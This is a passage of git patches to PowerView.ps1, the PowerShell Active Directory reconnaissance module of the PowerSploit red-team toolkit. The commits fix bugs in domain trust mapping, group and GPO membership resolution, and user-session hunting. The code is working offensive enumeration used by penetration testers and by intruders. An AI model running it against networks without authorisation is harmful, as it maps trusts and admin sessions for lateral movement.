@@ function Get-NetDomainTrust { } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID @@ -12548,7 +12557,7 @@ function Get-NetDomainTrust { } elseif($API) { if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name } if($DomainController) { @@ -12588,7 +12597,7 @@ function Get-NetDomainTrust { } else { $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName From 8270743fb1ec9dc00da0aab41ea98db594fc02ed Mon Sep 17 00:00:00 2001 From: Stephen Breen Date: Sat, 11 Jun 2016 00:26:40 -0400 Subject: [PATCH 165/296] Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever killing rogue jobs --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1c2bd269..62ed8677 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9263,7 +9263,7 @@ function Invoke-ThreadedFunction { $WaitTimeout = Get-Date # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { Start-Sleep -MilliSeconds 500 } From 9cd0955c5dda1ccd3e4484428cab5e44820c82f7 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 12 Jun 2016 19:37:17 -0400 Subject: [PATCH 166/296] Cleaned up Get-NetGroup's logic a bit, removed filtering for primary group ID (i.e. domain users) Modified Get-DomainSID to simplify Changed group determination in Get-NetLocalGroup -API Few optimizations to Find-ForeignUser and Find-ForeignGroup Changed DNS resolution method for Invoke-UserHunter Added 'PowerView.GPOLocalGroup' type to Find-GPOLocation --- Recon/PowerView.ps1 | 172 ++++++++++++++++++++++++-------------------- 1 file changed, 96 insertions(+), 76 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 62ed8677..4913db08 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1071,17 +1071,17 @@ filter Convert-ADName { ) $NameTypes = @{ - "Canonical" = 2 - "NT4" = 3 - "Simple" = 5 + 'Canonical' = 2 + 'NT4' = 3 + 'Simple' = 5 } - if(!$PSBoundParameters['InputType']) { + if(-not $PSBoundParameters['InputType']) { if( ($ObjectName.split('/')).Count -eq 2 ) { $ObjectName = $ObjectName.replace('/', '\') } - if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { $InputType = 'NT4' } elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { @@ -1099,7 +1099,7 @@ filter Convert-ADName { $ObjectName = $ObjectName.replace('/', '\') } - if(!$PSBoundParameters['OutputType']) { + if(-not $PSBoundParameters['OutputType']) { $OutputType = Switch($InputType) { 'NT4' {'Canonical'} 'Simple' {'NT4'} @@ -5009,8 +5009,10 @@ function Get-DomainSID { $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid if($DCSID) { - $Parts = $DCSID.split("-") - $Parts[0..($Parts.length -2)] -join "-" + $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Warning "Error extracting domain SID for $Domain" } } @@ -5147,35 +5149,40 @@ function Get-NetGroup { if ($UserName) { # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() + if($User) { + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - - # ignore the built in users and default domain user group - if(!($GroupSid -match '^S-1-5-32-545|-513$')) { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - if($RawSids) { - $GroupSid + $UserDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if($GroupSid -notmatch '^S-1-5-32-.*') { + if($FullData) { + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { - Convert-SidToName $GroupSid + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName -SID $GroupSid + } } } } } + else { + Write-Warning "UserName '$UserName' failed to resolve." + } } else { if ($SID) { @@ -5456,11 +5463,39 @@ function Get-NetGroupMember { $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + if($Properties.objectSid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSID = $Null + } + try { $MemberDN = $Properties.distinguishedname[0] - - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple' + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } } catch { $MemberDN = $Null @@ -5481,17 +5516,10 @@ function Get-NetGroupMember { $MemberName = $Properties.cn } } - - if($Properties.objectSid) { - $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) - } - else { - $MemberSid = $Null - } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName - $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') @@ -5507,7 +5535,6 @@ function Get-NetGroupMember { } } } - } } } @@ -7063,26 +7090,29 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + if($OUComputers) { + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'Domain' $Domain - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers - $GPOLocation + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'Domain' $Domain + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $GPOLocation + } } } @@ -7106,6 +7136,7 @@ function Find-GPOLocation { $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') $AppliedSite } } @@ -7678,10 +7709,10 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') $LocalUsers += $LocalUser } @@ -9772,23 +9803,12 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName # Try to resolve the DNS hostname of $Cname - if ($Cname -match '[a-zA-Z]') { - Try { - $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname - } - Catch { - $CNameDNSName = $Cname - } + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } - else { - Try { - $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName - } - Catch { - $CNameDNSName = $Cname - } - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + catch { + $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine @@ -12768,7 +12788,7 @@ function Find-ForeignUser { $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' } - Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize | Where-Object {$_.memberof} | ForEach-Object { + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { ForEach ($Membership in $_.memberof) { $Index = $Membership.IndexOf("DC=") if($Index) { @@ -12900,7 +12920,7 @@ function Find-ForeignGroup { $ExcludeGroups = @("Users", "Domain Users", "Guests") # get all the groupnames for the given domain - Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {$_.member} | Where-Object { + Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { # exclude common large groups -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { From 31c2290d5e173878a856701949bdfbc4054553c2 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 12 Jun 2016 20:53:36 -0400 Subject: [PATCH 167/296] Fixed some Invoke-MapDomainTrust and Get-NetDomainTrust logic Changed domain/forest Write-Warning's to Write-Verbose --- Recon/PowerView.ps1 | 103 ++++++++++++++++++++++++-------------------- 1 file changed, 57 insertions(+), 46 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4913db08..2051db5c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2188,7 +2188,7 @@ filter Get-NetDomain { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." $Null } } @@ -2198,7 +2198,7 @@ filter Get-NetDomain { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." $Null } } @@ -2257,7 +2257,7 @@ filter Get-NetForest { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { - Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." $Null } } @@ -2267,7 +2267,7 @@ filter Get-NetForest { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { - Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." return $Null } } @@ -12514,6 +12514,22 @@ function Get-NetDomainTrust { $Credential ) + begin { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'non_transitive' + [uint32]'0x00000002' = 'uplevel_only' + [uint32]'0x00000004' = 'quarantined_domain' + [uint32]'0x00000008' = 'forest_transitive' + [uint32]'0x00000010' = 'cross_organization' + [uint32]'0x00000020' = 'within_forest' + [uint32]'0x00000040' = 'treat_as_external' + [uint32]'0x00000080' = 'trust_uses_rc4_encryption' + [uint32]'0x00000100' = 'trust_uses_aes_keys' + [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' + [uint32]'0x00000400' = 'pim_trust' + } + } + process { if(-not $Domain) { @@ -12532,33 +12548,21 @@ function Get-NetDomainTrust { if($TrustSearcher) { - $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + $TrustSearcher.Filter = '(objectClass=trustedDomain)' $Results = $TrustSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject - $TrustAttrib = Switch ($Props.trustattributes) - { - 0x001 { "non_transitive" } - 0x002 { "uplevel_only" } - 0x004 { "quarantined_domain" } - 0x008 { "forest_transitive" } - 0x010 { "cross_organization" } - 0x020 { "within_forest" } - 0x040 { "treat_as_external" } - 0x080 { "trust_uses_rc4_encryption" } - 0x100 { "trust_uses_aes_keys" } - Default { - Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; - "$($Props.trustattributes)"; - } - } + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + $Direction = Switch ($Props.trustdirection) { - 0 { "Disabled" } - 1 { "Inbound" } - 2 { "Outbound" } - 3 { "Bidirectional" } + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value @@ -12567,7 +12571,7 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust } @@ -12639,7 +12643,7 @@ function Get-NetDomainTrust { } } else { - Write-Error "Could not retrieve domain controller for $Domain" + Write-Verbose "Could not retrieve domain controller for $Domain" } } else { @@ -13124,34 +13128,41 @@ function Invoke-MapDomainTrust { } # get any forest trusts, if they exist - $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + if(-not ($LDAP -or $DomainController) ) { + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + } if ($Trusts) { + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } # enumerate each trust found ForEach ($Trust in $Trusts) { - $SourceDomain = $Trust.SourceName - $TargetDomain = $Trust.TargetName - $TrustType = $Trust.TrustType - $TrustDirection = $Trust.TrustDirection - - # make sure we process the target - $Null = $Domains.push($TargetDomain) - - # build the nicely-parsable custom output object - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" - $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" - $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" - $DomainTrust + if($Trust.SourceName -and $Trust.TargetName) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + + # make sure we process the target + $Null = $Domains.push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust + } } } } catch { - Write-Warning "[!] Error: $_" + Write-Verbose "[!] Error: $_" } } } From 4b40e8609c75b00a6ccbf58fc121882975854f59 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 14 Jun 2016 18:23:52 -0400 Subject: [PATCH 168/296] Fixed logic bugs in Find-GPOLocation and Find-GPOComputerAdmin --- Recon/PowerView.ps1 | 94 ++++++++++++++++++++++++++++++--------------- 1 file changed, 64 insertions(+), 30 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2051db5c..b7bee3e3 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5012,7 +5012,7 @@ function Get-DomainSID { $DCSID.Substring(0, $DCSID.LastIndexOf('-')) } else { - Write-Warning "Error extracting domain SID for $Domain" + Write-Verbose "Error extracting domain SID for $Domain" } } @@ -7043,20 +7043,26 @@ function Find-GPOLocation { 'PageSize' = $PageSize } - # enumerate all GPO group mappings for the target domain + # enumerate all GPO group mappings for the target domain that involve our target SID set $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { $GPOgroup = $_ - # if the locally set group is what we're looking for or the locally set group is a - # member of what we're looking for, check the GroupMembers for our target SID - if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + # if the locally set group is what we're looking for, check the GroupMembers ('members') + # for our target SID + if($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } } | Sort-Object -Property GPOName -Unique $GPOgroups | ForEach-Object { @@ -7065,12 +7071,18 @@ function Find-GPOLocation { $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType - $GPOMembers = $_.GroupMembers + if($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + $Filters = $_.Filters if(-not $TargetObject) { # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - # so all relationship mappings are output + # so all relationship mappings are output $TargetObjectSIDs = $GPOMembers } else { @@ -7306,8 +7318,7 @@ function Find-GPOComputerAdmin { $TargetOUs | Where-Object {$_} | ForEach-Object { - # for each OU the computer is a part of, get the full OU object - $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { + $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -7316,16 +7327,24 @@ function Find-GPOComputerAdmin { } } } - } | ForEach-Object { - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize + } + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + + # extract GPO groups that are set through any gPlink for this OU + $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + ForEach($GPOLink in $GPOLinks) { + $Name = $_.GPOName + if($GPOLink -like "*$Name*") { + $_ + } } - # for each GPO link, get any locally set user/group SIDs - Get-NetGPOGroup @GPOGroupArgs } } @@ -7333,8 +7352,14 @@ function Find-GPOComputerAdmin { $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ - $GPOGroup.GroupMembers | ForEach-Object { + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + $GPOMembers | ForEach-Object { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ @@ -7349,8 +7374,8 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType - $GPOComputerAdmin + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerAdmin # if we're recursing and the current result object is a group if($Recurse -and $GPOComputerAdmin.isGroup) { @@ -7685,7 +7710,7 @@ function Get-NetLocalGroup { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() # parse all the result structures @@ -7979,7 +8004,7 @@ filter Get-NetShare { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $SHARE_INFO_1::GetSize() # parse all the result structures @@ -8073,7 +8098,7 @@ filter Get-NetLoggedon { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $WKSTA_USER_INFO_1::GetSize() # parse all the result structures @@ -8175,7 +8200,7 @@ filter Get-NetSession { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $SESSION_INFO_10::GetSize() # parse all the result structures @@ -8340,7 +8365,7 @@ filter Get-NetRDPSession { if (($Result -ne 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $WTS_SESSION_INFO_1::GetSize() # parse all the result structures @@ -12573,6 +12598,7 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') $DomainTrust } $Results.dispose() @@ -12601,7 +12627,7 @@ function Get-NetDomainTrust { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $DS_DOMAIN_TRUSTS::GetSize() # parse all the result structures @@ -12650,7 +12676,10 @@ function Get-NetDomainTrust { # if we're using direct domain connections through .NET $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential if($FoundDomain) { - $FoundDomain.GetAllTrustRelationships() + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_ + } } } } @@ -12699,7 +12728,10 @@ function Get-NetForestTrust { $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential if($FoundForest) { - $FoundForest.GetAllTrustRelationships() + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_ + } } } } @@ -13144,9 +13176,10 @@ function Invoke-MapDomainTrust { $TargetDomain = $Trust.TargetName $TrustType = $Trust.TrustType $TrustDirection = $Trust.TrustDirection + $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 # make sure we process the target - $Null = $Domains.push($TargetDomain) + $Null = $Domains.Push($TargetDomain) # build the nicely-parsable custom output object $DomainTrust = New-Object PSObject @@ -13156,6 +13189,7 @@ function Invoke-MapDomainTrust { $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust.PSObject.TypeNames.Add($ObjectType) $DomainTrust } } From 7dfbb059e14278ec7ac243399f068104257152fe Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 21 Jun 2016 20:29:40 +0100 Subject: [PATCH 169/296] Check class type Recurse if localgroup as well as domaingroup Normalize output values to empty string --- Recon/PowerView.ps1 | 149 ++++++++++++++++++++++---------------------- 1 file changed, 73 insertions(+), 76 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b7bee3e3..4bcbbd1c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7691,7 +7691,6 @@ function Get-NetLocalGroup { if($API) { # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information - # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero @@ -7723,7 +7722,7 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = 